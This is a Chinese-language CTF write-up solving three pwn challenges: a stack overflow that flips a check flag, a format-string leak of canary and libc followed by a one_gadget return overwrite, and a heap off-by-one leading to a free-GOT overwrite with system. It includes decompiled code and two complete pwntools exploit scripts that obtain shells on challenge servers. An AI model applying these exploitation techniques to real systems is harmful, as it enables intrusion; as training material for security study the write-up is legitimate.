这道题严格意义来说是一道逆向题。
main()存在栈溢出
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
char v4; // [esp+16h] [ebp-AAh]
char v5; // [esp+BFh] [ebp-1h]
__main();
v5 = 1;
puts("Please input your name:");
fflush(&__iob[1]);
scanf("%s", &v4);
if ( v5 )
result = printf("Your level is not admin");
else
result = DangerFunc(&v4);
if ( argc != 1 )
exit(0);
return result;
}
如果v5里边有内容,则退出。程序在开始时v5=1,所以必须通过溢出覆盖掉v5才能执行DangerFunc()函数。
int __cdecl DangerFunc(char *a1)
{
int v2; // [esp+18h] [ebp-30h]
getflag(a1, (int)&v2);
puts("###########################################################################");
puts("###########################################################################");
printf("\t\tflag{%s}\t\t\t\n", &v2);
puts("###########################################################################");
puts("###########################################################################");
fflush(&__iob[1]);
return system("c:\\Windows\\System32\\cmd.exe");
}
DangerFunc()内的getflag()要求其第一个参数内的前168位不能为0。
int __cdecl getflag(char *a1, int a2)
{
size_t v2; // eax
int v3; // eax
int result; // eax
int v5; // [esp+10h] [ebp-88h]
char v6; // [esp+68h] [ebp-30h]
char v7[32]; // [esp+6Ch] [ebp-2Ch]
int i; // [esp+8Ch] [ebp-Ch]
for ( i = 0; i <= 168; ++i )
{
if ( !a1[i] )
{
puts("Do not input '\\0'!");
exit(0);
}
}
v2 = strlen(a1);
itoa(v2 + 16, &v6, 10);
MD5Init(&v5);
v3 = strlen(&v6);
MD5Update((int)&v5, &v6, v3);
result = MD5Final(&v5, v7);
for ( i = 0; i <= 15; ++i )
result = sprintf((char *)(2 * i + a2), "%02x", (unsigned __int8)v7[i]);
return result;
}
所以该题解题方法为输入大量的垃圾字符,在0x0402473
处下断点,将esp+0xBF
内的内容改为0即可获得flag。
main()函数里面的rand()的seed固定是0,所以其生成的随机数也是固定的,达成条件后进入something。
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+4h] [rbp-Ch]
unsigned int seed; // [rsp+8h] [rbp-8h]
int v6; // [rsp+Ch] [rbp-4h]
menu(*&argc, argv, envp);
seed = 0;
v4 = 0;
srand(0);
v6 = 0;
puts("input your lucky number:");
gets(&v4);
v6 = rand();
if ( v4 == v6 )
{
while ( seed <= 1 )
{
something();
putchar(10);
++seed;
}
}
return 0;
}
something()函数存在栈溢出和格式化字符串漏洞。
__int64 something()
{
char buf; // [rsp+0h] [rbp-50h]
unsigned __int64 v2; // [rsp+48h] [rbp-8h]
v2 = __readfsqword(0x28u);
memset(&buf, 0, 0x40uLL);
read(0, &buf, 0x68uLL);
printf(&buf, &buf);
return 0LL;
}
但是存在canary保护,所以需要泄露canary和libc,由于溢出只有两个地址的位置,但执行完ret时rax为0,所以有合适的one_gadget可以直接进行跳转。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'
local = 0
if local == 1:
r=process('./pwn1')
gdb.attach(r,"b * $rebase(0xB0D)")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
lsmr = 0x020840
ogg = 0x45226
else:
r = remote('pwn.challenge.ctf.show',28029)
libc = ELF('./libc_64.so')
lsmr = 0x020830
ogg = 0x45216
elf=ELF('./pwn1')
r.recvuntil('number:')
r.sendline(p32(0x6b8b4567)+'\x00'*4+cyclic(4)+'\x00'*7)
sleep(1)
r.sendline('%21$p%25$p%15$p')
r.recvuntil('\n')
libc_addr = int(r.recv(14),16)-lsmr
pie = int(r.recv(14),16)-elf.symbols['main']
canary = int(r.recv(18),16)
log.success('libc_addr:'+hex(libc_addr))
log.success('pie:'+hex(pie))
log.success('canary:'+hex(canary))
r.sendline(cyclic(72)+p64(canary)+p64(0xdeadbeef)+p64(libc_addr+ogg))
r.interactive()
查看menu()函数存在如下功能。
int menu()
{
puts("--------------------------------");
puts(" w0odpeck3r's Nest ");
puts("--------------------------------");
puts(" 1. Build a Nest ");
puts(" 2. Decorate a Nest ");
puts(" 3. Show a Nest ");
puts(" 4. Crash a Nest ");
puts(" 5. Leave the tree ");
puts("--------------------------------");
return printf("Your choice :");
}
buildnest()函数为先生成一个0x10的堆块,输入大小,再生成一个指定大小的堆块。并将大小和堆地址存入最开始的堆块内。
unsigned __int64 buildnest()
{
_QWORD *v0; // rbx
signed int i; // [rsp+4h] [rbp-2Ch]
size_t size; // [rsp+8h] [rbp-28h]
char buf; // [rsp+10h] [rbp-20h]
unsigned __int64 v5; // [rsp+18h] [rbp-18h]
v5 = __readfsqword(0x28u);
for ( i = 0; i <= 9; ++i )
{
if ( !nests[i] )
{
nests[i] = malloc(0x10uLL);
if ( !nests[i] )
{
puts("Nope.something wrong..");
exit(1);
}
printf("how big is the nest ?");
read(0, &buf, 8uLL);
size = atoi(&buf);
v0 = nests[i];
v0[1] = malloc(size);
if ( !*(nests[i] + 1) )
{
puts("Nope.something wrong..");
exit(2);
}
*nests[i] = size;
printf("what stuff you wanna put in the nest?", &buf);
myread(*(nests[i] + 1), size);
puts("Thx buddy.");
return __readfsqword(0x28u) ^ v5;
}
}
return __readfsqword(0x28u) ^ v5;
}
decoratenest()函数存在off by one
。
unsigned __int64 decoratenest()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :");
read(0, &buf, 4uLL);
v1 = atoi(&buf);
if ( v1 < 0 || v1 > 9 )
{
puts("OOB!My Boy!");
_exit(0);
}
if ( nests[v1] )
{
printf("what stuff you wanna put in the nest?", &buf);
myread(*(nests[v1] + 1), *nests[v1] + 1LL);
puts("Done !");
}
else
{
puts("No such nest !");
}
return __readfsqword(0x28u) ^ v3;
}
shownext()函数输出指定堆块的第二个地址。
unsigned __int64 shownest()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :");
read(0, &buf, 4uLL);
v1 = atoi(&buf);
if ( v1 < 0 || v1 > 9 )
{
puts("OOB!My Boy!");
_exit(0);
}
if ( nests[v1] )
{
printf("Size : %ld\nDecorations : %s\n", *nests[v1], *(nests[v1] + 1));
puts("Done !");
}
else
{
puts("No such nest !");
}
return __readfsqword(0x28u) ^ v3;
}
crash_nest()为先释放指定堆块的第二个地址,然后释放该堆块。
unsigned __int64 crash_nest()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :");
read(0, &buf, 4uLL);
v1 = atoi(&buf);
if ( v1 < 0 || v1 > 9 )
{
puts("OOB!My Boy!");
_exit(0);
}
if ( nests[v1] )
{
free(*(nests[v1] + 1));
free(nests[v1]);
nests[v1] = 0LL;
puts("Now another w0odpeck3r lost his house :(");
}
else
{
puts("No such nest !");
}
return __readfsqword(0x28u) ^ v3;
}
先申请三次,总共有6个堆块。利用off by one修改第0个堆块。溢出修改第1个堆块大小为0x41,然后释放掉第1个那两个堆块。再申请0x38大小的堆块,这样就重复获得刚才的两个堆块。并出现堆块重叠,利用uaf修改堆指针为free_got,泄露free()的真实地址并修改为system()的地址。getshell。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'
local = 0
if local == 1:
r=process('./ezheap')
gdb.attach(r,"b * menu")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
r = remote('pwn.challenge.ctf.show',28081)
libc = ELF('libc-2.27.so')
elf=ELF('./ezheap')
def add(size,content):
r.recvuntil('choice :')
r.sendline('1')
r.recvuntil('nest ?')
r.sendline(str(size))
r.recvuntil('nest?')
r.send(str(content))
def write(index,content):
r.recvuntil('choice :')
r.sendline('2')
r.recvuntil('Index :')
r.sendline(str(index))
r.recvuntil('nest?')
r.send(str(content))
def dele(index):
r.recvuntil('choice :')
r.sendline('4')
r.recvuntil('Index :')
r.sendline(str(index))
def show(index):
r.recvuntil('choice :')
r.sendline('3')
r.recvuntil('Index :')
r.sendline(str(index))
add(0x18,'a'*0x18)
add(0x18,'b'*0x8)
add(0x48,'c'*0x8)
add(0x48,'d'*0x8)
write(0,'e'*0x18+'\x41')
dele(1)
add(0x38,'f'*0x18+p64(0x21)+p64(0x880)+'\xe0')
write(1,p64(0x88)+p64(elf.got['free']))
show(2)
r.recvuntil('Decorations : ')
free = u64(r.recv(6)+'\x00\x00')
log.success('free:'+hex(free))
libc_addr = free - libc.symbols['free']
system = libc_addr + libc.symbols['system']
write(2,p64(system))
write(1,'/bin/sh\x00')
dele(1)
r.interactive()
全部评论 (暂无评论)
info 还没有任何评论,你来说两句呐!